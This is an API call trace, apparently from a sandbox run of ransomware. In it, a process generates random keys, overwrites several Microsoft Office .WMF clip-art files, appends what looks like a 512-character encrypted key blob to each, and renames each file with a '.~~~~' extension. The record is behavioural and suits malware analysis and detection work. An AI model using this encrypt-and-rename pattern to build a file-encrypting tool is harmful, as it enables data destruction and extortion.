	[0123.926] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.927] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.927] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.927] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.927] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24391741182) returned 1
	[0123.927] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3562f90, dwHighDateTime=0x1d60e1e)) 
	[0123.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.927] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x281ffe0
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x281ffe0 | out: hHeap=0x300000) returned 1
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdc60
	[0123.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.928] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.928] GetLastError () returned 0x0
	[0123.928] GetLastError () returned 0x0
	[0123.928] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.929] GetLastError () returned 0x0
	[0123.929] GetLastError () returned 0x0
	[0123.931] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff0a2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.931] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xf5e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0xf5e, lpOverlapped=0x0) returned 1
	[0123.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.932] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.932] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.932] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.932] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.932] CloseHandle (hObject=0x128) returned 1
	[0123.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bd838
	[0123.932] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199549.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199549.wmf.~~~~")) returned 1
	[0123.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bd838 | out: hHeap=0x300000) returned 1
	[0123.933] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.933] GetLastError () returned 0x0
	[0123.934] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.936] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.936] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.936] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24392594132) returned 1
	[0123.936] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb35890f0, dwHighDateTime=0x1d60e1e)) 
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820018
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820018 | out: hHeap=0x300000) returned 1
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.936] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdcf8
	[0123.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.936] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.937] GetLastError () returned 0x0
	[0123.937] GetLastError () returned 0x0
	[0123.937] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.937] GetLastError () returned 0x0
	[0123.937] GetLastError () returned 0x0
	[0123.939] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffffcbe2, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.939] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0x341e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0x341e, lpOverlapped=0x0) returned 1
	[0123.940] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.940] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.940] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.940] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.940] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.940] CloseHandle (hObject=0x128) returned 1
	[0123.941] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdbc8
	[0123.941] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199661.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199661.wmf.~~~~")) returned 1
	[0123.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdbc8 | out: hHeap=0x300000) returned 1
	[0123.942] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.942] GetLastError () returned 0x0
	[0123.942] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0123.943] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0123.943] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0123.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2877310
	[0123.943] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24393313330) returned 1
	[0123.943] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb35890f0, dwHighDateTime=0x1d60e1e)) 
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357098
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2820088
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0123.943] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2820088 | out: hHeap=0x300000) returned 1
	[0123.943] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0123.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0123.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0123.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0123.944] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdd90
	[0123.944] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0123.944] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0123.944] GetLastError () returned 0x0
	[0123.944] GetLastError () returned 0x0
	[0123.944] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0123.944] GetLastError () returned 0x0
	[0123.944] GetLastError () returned 0x0
	[0123.947] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff510, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0123.947] WriteFile (in: hFile=0x128, lpBuffer=0x29d0090*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29d0090*, lpNumberOfBytesWritten=0x26dfec0*=0xaf0, lpOverlapped=0x0) returned 1
	[0123.948] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29d0090 | out: hHeap=0x300000) returned 1
	[0123.948] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0123.948] WriteFile (in: hFile=0x128, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0123.948] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0123.948] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0123.948] CloseHandle (hObject=0x128) returned 1
	[0123.948] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3bdd90
	[0123.948] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199755.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199755.wmf.~~~~")) returned 1
	[0123.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bdd90 | out: hHeap=0x300000) returned 1
	[0123.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357098 | out: hHeap=0x300000) returned 1
	[0123.949] GetLastError () returned 0x0
	[0123.950] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.007] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.007] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.007] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.007] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24399720073) returned 1
	[0124.007] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3621670, dwHighDateTime=0x1d60e1e)) 
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3b8258
	[0124.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3b8258 | out: hHeap=0x300000) returned 1
	[0124.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.008] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be1b8
	[0124.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.008] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.008] GetLastError () returned 0x0
	[0124.008] GetLastError () returned 0x0
	[0124.008] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.009] GetLastError () returned 0x0
	[0124.009] GetLastError () returned 0x0
	[0124.011] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff6b8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.011] WriteFile (in: hFile=0x128, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x948, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x948, lpOverlapped=0x0) returned 1
	[0124.012] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.012] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.013] WriteFile (in: hFile=0x128, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.013] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.013] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.013] CloseHandle (hObject=0x128) returned 1
	[0124.017] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be1b8
	[0124.017] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0199805.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0199805.wmf.~~~~")) returned 1
	[0124.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3be1b8 | out: hHeap=0x300000) returned 1
	[0124.026] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0124.026] GetLastError () returned 0x0
	[0124.027] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0124.028] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0124.028] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0124.028] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0124.028] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0124.038] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2878618
	[0124.038] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=24402821891) returned 1
	[0124.048] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xb3693a90, dwHighDateTime=0x1d60e1e)) 
	[0124.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0124.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0124.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0124.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28201d8
	[0124.059] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0124.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28201d8 | out: hHeap=0x300000) returned 1
	[0124.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0124.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0124.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x3ee630
	[0124.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0124.060] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be418
	[0124.060] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ee630 | out: hHeap=0x300000) returned 1
	[0124.060] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0124.060] GetLastError () returned 0x0
	[0124.061] GetLastError () returned 0x0
	[0124.061] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0124.061] GetLastError () returned 0x0
	[0124.061] GetLastError () returned 0x0
	[0124.063] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0xffffdb72, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0124.063] WriteFile (in: hFile=0x120, lpBuffer=0x2a1e0a8*, nNumberOfBytesToWrite=0x248e, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a1e0a8*, lpNumberOfBytesWritten=0x26dfec0*=0x248e, lpOverlapped=0x0) returned 1
	[0124.066] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a1e0a8 | out: hHeap=0x300000) returned 1
	[0124.066] SetFilePointerEx (in: hFile=0x120, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0124.066] WriteFile (in: hFile=0x120, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0124.066] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0124.066] WriteFile (in: hFile=0x120, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0124.066] CloseHandle (hObject=0x120) returned 1
	[0124.066] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3be380
	[0124.066] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0212661.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0212661.wmf.~~~~")) returned 1
